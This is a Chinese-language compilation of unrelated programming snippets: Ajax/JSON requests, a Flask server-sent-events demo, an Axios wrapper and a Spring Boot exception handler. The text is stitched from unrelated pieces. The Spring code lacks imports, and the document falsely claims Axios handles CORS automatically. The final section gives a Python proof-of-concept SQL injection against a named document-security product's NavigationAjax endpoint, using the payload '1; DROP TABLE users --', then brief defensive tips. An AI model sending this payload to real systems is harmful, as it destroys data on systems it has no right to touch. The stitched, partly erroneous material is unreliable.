在Ajax中使用JSON主要涉及到客户端如何发送JSON数据到服务器，以及服务器如何响应并返回JSON格式的数据。

以下是使用原生JavaScript和jQuery实现Ajax请求的例子：

原生JavaScript实现Ajax请求并使用JSON：

// 创建一个新的XMLHttpRequest对象
var xhr = new XMLHttpRequest();
 
// 配置请求类型、URL以及是否异步处理
xhr.open('POST', 'your_server_endpoint', true);
 
// 设置请求头信息，告知服务器内容类型为JSON
xhr.setRequestHeader('Content-Type', 'application/json');
 
// 定义请求完成的处理函数
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    // 请求成功，处理服务器返回的JSON数据
    var response = JSON.parse(xhr.responseText);
    console.log(response);
  }
};
 
// 发送JSON数据
var data = JSON.stringify({
  key: 'value'
});
xhr.send(data);

使用jQuery实现Ajax请求并使用JSON：

// 使用jQuery发送POST请求，传递JSON数据
$.ajax({
  url: 'your_server_endpoint',
  type: 'POST',
  contentType: 'application/json', // 指定内容类型为JSON
  data: JSON.stringify({ key: 'value' }), // 将对象转换为JSON字符串
  dataType: 'json', // 指定预期服务器返回的数据类型
  success: function(response) {
    // 请求成功，处理服务器返回的JSON数据
    console.log(response);
  },
  error: function(xhr, status, error) {
    // 请求失败的处理函数
    console.error("Error: " + error);
  }
});

在这两个例子中，我们都是创建了一个Ajax请求，并指定了请求的类型为POST，内容类型为application/json，并且发送了一个JSON字符串。服务器在接收到请求后会处理这个JSON数据，并返回JSON格式的响应。在客户端，我们解析服务器返回的JSON字符串，并处理这个响应。

Ajax（Asynchronous JavaScript and XML）是一种创建交互式网页的技术，可以在不重新加载整个网页的情况下更新数据。以下是一个使用Ajax技术的简单示例，它演示了如何发送请求到服务器并处理响应：

// 创建一个新的 XMLHttpRequest 对象
var xhr = new XMLHttpRequest();
 
// 配置请求类型、URL 以及是否异步处理
xhr.open('GET', 'your-api-endpoint', true);
 
// 设置请求完成的回调函数
xhr.onreadystatechange = function () {
  // 请求完成并且响应状态码为 200
  if (xhr.readyState === XMLHttpRequest.DONE) {
    if (xhr.status === 200) {
      // 处理请求成功的响应数据
      console.log(xhr.responseText);
    } else {
      // 处理请求失败
      console.error('AJAX Request was unsuccessful');
    }
  }
};
 
// 发送请求
xhr.send();

在这个示例中，我们创建了一个新的XMLHttpRequest对象，并对其进行了配置，以发送一个GET请求到指定的API端点。我们还设置了一个onreadystatechange事件处理函数，该函数在请求状态改变时被调用。当请求完成并且服务器响应状态为200时，我们处理了响应数据。

这只是Ajax技术的简单应用，实际应用中Ajax可以用来处理更复杂的操作，例如发送数据到服务器、处理JSON响应等。

// 假设我们已经有了一个名为"ajax.js"的库，用于简化AJAX调用
import { getJSON } from 'ajax.js';
 
// 假设我们有一个名为"data.json"的本地JSON文件
const jsonFile = 'data.json';
 
// 使用getJSON函数从服务器获取JSON数据
getJSON(jsonFile).then(function(data) {
    console.log('获取到的数据:', data);
}).catch(function(error) {
    console.error('获取数据时发生错误:', error);
});

这段代码演示了如何使用假设的ajax.js库中的getJSON函数来异步获取本地的data.json文件中的数据。它使用了Promise来处理异步操作，并在获取数据成功时打印出数据，在发生错误时打印错误信息。这是现代Web开发中处理AJAX请求的一种常见模式。

以下是一个使用XMLHttpRequest实现AJAX的简单示例，用于从服务器获取数据：

// 创建一个新的XMLHttpRequest对象
var xhr = new XMLHttpRequest();
 
// 配置HTTP请求
// 这里是GET请求，你也可以根据需要改为POST
xhr.open('GET', 'your-api-endpoint');
 
// 设置请求完成的处理函数
xhr.onreadystatechange = function() {
    // 请求完成并且响应状态码为200
    if (xhr.readyState === 4 && xhr.status === 200) {
        // 处理服务器返回的数据
        var response = JSON.parse(xhr.responseText);
        console.log(response);
    }
};
 
// 发送请求
xhr.send();

在这个例子中，我们首先创建了一个XMLHttpRequest对象，然后使用open方法设置了请求的类型和目标URL。接着，我们定义了一个onreadystatechange事件处理函数，它会在请求的不同阶段进行调用，其中我们检查了readyState和status来确认请求成功完成并且服务器返回了200响应状态码。最后，我们调用send方法发送了请求。

请注意，根据你的实际API端点和需求，你可能需要对此代码进行相应的修改。

Ajax（Asynchronous JavaScript and XML）是一种创建交互式网页的技术，可以使网页与服务器进行数据交换而无需刷新页面。以下是Ajax的一些重要知识点：

1. 使用XMLHttpRequest对象发送异步请求。
2. 使用JavaScript处理服务器响应。
3. 使用JSON作为数据格式，因为它更轻量且易于解析。
4. 跨域请求需要服务器支持（如CORS）。
5. 错误处理。

示例代码：

// 创建一个新的 XMLHttpRequest 对象
var xhr = new XMLHttpRequest();
 
// 配置请求类型、URL 以及是否异步处理
xhr.open('GET', 'your-api-endpoint', true);
 
// 设置请求完成的回调函数
xhr.onreadystatechange = function () {
  // 请求完成并且响应状态码为 200
  if (xhr.readyState === XMLHttpRequest.DONE) {
    if (xhr.status === 200) {
      // 处理请求响应
      var response = JSON.parse(xhr.responseText);
      console.log(response);
    } else {
      // 错误处理
      console.error('请求失败，状态码：' + xhr.status);
    }
  }
};
 
// 发送请求
xhr.send();

以上代码演示了如何使用Ajax发送GET请求，并在请求成功完成后处理响应。

以下是一个使用Python Flask框架创建简单的SSE服务端的示例代码：

from flask import Flask, render_template, Response
import time
import random
 
app = Flask(__name__)
 
def event_stream():
    while True:
        # 生成随机数据用于演示
        data = str(random.randint(0, 100))
        # 发送数据
        yield 'data: {}\n\n'.format(data)
        # 等待一段时间再发送下一个事件
        time.sleep(5)
 
@app.route('/')
def index():
    return render_template('index.html')
 
@app.route('/stream')
def stream():
    # 设置响应类型为服务端发送事件
    return Response(event_stream(), mimetype="text/event-stream")
 
if __name__ == '__main__':
    app.run(debug=True)

HTML 文件 (index.html):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>SSE Demo</title>
    <script type="text/javascript">
        if(typeof(EventSource) !== "undefined") {
            var source = new EventSource("/stream");
            source.onmessage = function(event) {
                document.getElementById("result").innerHTML += event.data + "<br>";
            };
        } else {
            document.getElementById("result").innerHTML = "Sorry, your browser does not support server-sent events...";
        }
    </script>
</head>
<body>
    <h1>Server-Sent Events Demo</h1>
    <div id="result">Waiting for messages...</div>
</body>
</html>

在这个例子中，我们创建了一个简单的服务端发送事件服务。服务端每隔5秒钟发送一个随机数据，前端通过 JavaScript 的 EventSource 对象接收这些事件，并更新页面上的显示内容。这个例子演示了如何使用SSE进行服务端主动推送数据到客户端。

Axios 是一个基于 promise 的 HTTP 库，可以在浏览器和 node.js 中使用。以下是如何使用 Axios 发起网络请求的基本方法，以及如何对 Axios 进行二次封装的示例。

Axios 的基本用法：

// 发送 GET 请求
axios.get('https://api.example.com/data')
  .then(response => {
    console.log(response.data);
  })
  .catch(error => {
    console.error(error);
  });
 
// 发送 POST 请求
axios.post('https://api.example.com/data', {
  key1: 'value1',
  key2: 'value2'
})
  .then(response => {
    console.log(response.data);
  })
  .catch(error => {
    console.error(error);
  });

二次封装 Axios：

import axios from 'axios';
 
// 创建 axios 实例
const service = axios.create({
  baseURL: 'https://api.example.com', // API 的 base_url
  timeout: 5000 // 请求超时时间
});
 
// 请求拦截器
service.interceptors.request.use(
  config => {
    // 可以在这里添加例如 token 等请求头
    config.headers['Authorization'] = 'Bearer your-token';
    return config;
  },
  error => {
    // 请求错误处理
    return Promise.reject(error);
  }
);
 
// 响应拦截器
service.interceptors.response.use(
  response => {
    // 可以在这里对响应数据进行处理
    const { data } = response;
    return data;
  },
  error => {
    // 响应错误处理
    return Promise.reject(error);
  }
);
 
// 导出二次封装后的 axios 实例
export default service;

在上述二次封装的代码中，我们使用 axios.create 创建了一个新的 axios 实例，并且为这个实例添加了请求拦截器和响应拦截器。在请求拦截器中，我们可以添加例如 token 等认证信息，在响应拦截器中，我们可以对响应的数据进行处理。最后，我们导出了这个实例，以便在其他地方使用。

在Spring Boot中，可以通过@ControllerAdvice和@ExceptionHandler注解实现全局异常捕获。以下是一个示例代码，展示了如何捕获异常并返回JSON格式的响应：

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.WebRequest;
 
@ControllerAdvice
public class GlobalExceptionHandler {
 
    @ExceptionHandler(Exception.class)
    @ResponseBody
    public ResponseEntity<Map<String, Object>> handleException(Exception e, WebRequest request) {
        Map<String, Object> body = new LinkedHashMap<>();
        body.put("timestamp", new Date());
        body.put("message", e.getMessage());
        body.put("status", HttpStatus.INTERNAL_SERVER_ERROR.value());
        // 可以添加更多的错误详情
        return new ResponseEntity<>(body, HttpStatus.INTERNAL_SERVER_ERROR);
    }
}

这段代码定义了一个全局异常处理器，它会捕获所有类型的异常，并返回一个包含时间戳、消息和状态码的JSON对象。返回的HTTP状态码默认为500，表示服务器内部错误。在实际应用中，你可以根据需要对异常处理逻辑进行自定义，例如区分不同的异常类型，并返回不同的错误码和消息。

Ajax和Axios都是前端用来发送HTTP请求的工具，但它们之间有一些区别：

1. 原生Ajax请求相对复杂，需要处理浏览器兼容性问题，而Axios封装了这些细节，使用更简便。
2. Axios基于Promise，可以方便地使用.then()、.catch()和.finally()处理异步操作，而原生Ajax需要通过回调函数处理。
3. Axios在浏览器和Node.js中都可以使用，而原生Ajax主要用于浏览器端。
4. Axios可以自动处理跨域请求（CORS），而原生Ajax需要手动处理。

以下是使用Ajax和Axios发送GET请求的示例代码：

使用原生Ajax发送GET请求：

var xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data", true);
 
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4 && xhr.status == 200) {
    console.log(xhr.responseText);
  }
};
 
xhr.send();

使用Axios发送GET请求：

const axios = require('axios'); // 在Node.js中或者引入axios库
 
axios.get('https://api.example.com/data')
  .then(response => {
    console.log(response.data);
  })
  .catch(error => {
    console.error(error);
  });

在实际开发中，由于Axios的便利性和现代化，推荐使用Axios来发送HTTP请求。

为了复现“某赛通电子文档安全管理系统 NavigationAjax SQL 注入漏洞”，我们需要执行以下步骤：

1. 了解漏洞的详细信息，包括影响的版本、攻击的具体接口等。
2. 如果有可能，访问该系统的一个可复现环境。
3. 使用相应的工具或手动构造请求，尝试进行 SQL 注入攻击。
4. 验证漏洞是否成功复现。

以下是一个可能的 SQL 注入攻击的示例代码（使用 Python 和 Requests 库）：

import requests
 
# 目标系统 URL
url = "http://your-vulnerable-system.com/NavigationAjax.ashx"
 
# 构造包含 SQL 注入攻击代码的 payload
payload = {
    "action": "GetNavigation",
    "folderId": "1; DROP TABLE users --"  # 这里的 "users" 应替换为实际的表名
}
 
# 发送请求
response = requests.get(url, params=payload)
 
# 输出响应
print(response.text)

请注意，实际的攻击将取决于目标系统的具体实现和数据库架构。上述代码仅为示例，并且在实际环境中使用前需要进行适当的修改和调整。

为了防御此类攻击，建议采取以下措施：

• 使用参数化查询或存储过程。
• 对输入进行严格的验证和清理。
• 定期更新系统和数据库的安全补丁。